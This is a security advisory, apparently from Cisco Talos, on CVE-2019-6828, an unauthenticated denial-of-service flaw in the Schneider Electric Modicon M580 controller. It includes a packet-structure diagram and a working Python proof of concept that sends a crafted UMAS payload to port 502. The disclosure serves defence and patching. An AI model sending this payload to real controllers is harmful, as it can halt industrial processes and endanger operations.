CVE-2019-6828
An exploitable denial of service vulnerability exists in the UMAS Read System Coils and Registers functionality of the Schneider Electric Modicon M580 Programmable Automation Controller firmware version SV2.80. A specially crafted UMAS command can cause the device to enter a non-recoverable fault state, resulting in a complete stoppage of remote communications with the device. An attacker can send unauthenticated commands to trigger this vulnerability.
Schneider Electric Modicon M580 BMEP582040 SV2.80
https://www.schneider-electric.com/en/work/campaign/m580-epac/
7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE-248: Uncaught Exception
The Modicon M580 is the latest in Schneider Electric’s Modicon line of Programmable Automation Controllers. The device boasts a Wurldtech Achilles Level 2 certification and global policy controls to quickly enforce various security configurations. Communication with the device is possible over FTP, TFTP, HTTP, SNMP, EtherNet/IP, Modbus, and a management protocol referred to as UMAS.
When a UMAS command is sent using the Read System Coils and Registers function code (0x24) it is possible to make the device enter a non-recoverable fault state, causing a denial of service condition.
The structure of a malicious Read System Coils and Registers command takes a form similar to the following:
0 1 2 3 4 5 6 7 8 9 a b c d e f
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
0 | A | B | C | D
+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+---+
1 <D cont.> |
+---+---+---+
A --> Modbus Function Code (0x5a)
B --> Session
C --> UMAS Function Code (0x24)
D --> Data
In the non-recoverable fault state the CPU has entered an error mode where all remote communications have been stopped, process logic stops execution, and the device requires a physical power cycle to regain functionality.
import socket
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
rhost = "192.168.10.1"
rport = 502
s.connect((rhost, rport))
msg = "00000000000f005a002480a1a100f3a080a1000000".decode('hex')
s.send(msg)
s.close()
if __name__ == '__main__':
main()
2019-04-19 - Vendor Disclosure
2019-08-13 - Vendor Patched; Public Release
Discovered by Jared Rittle of Cisco Talos.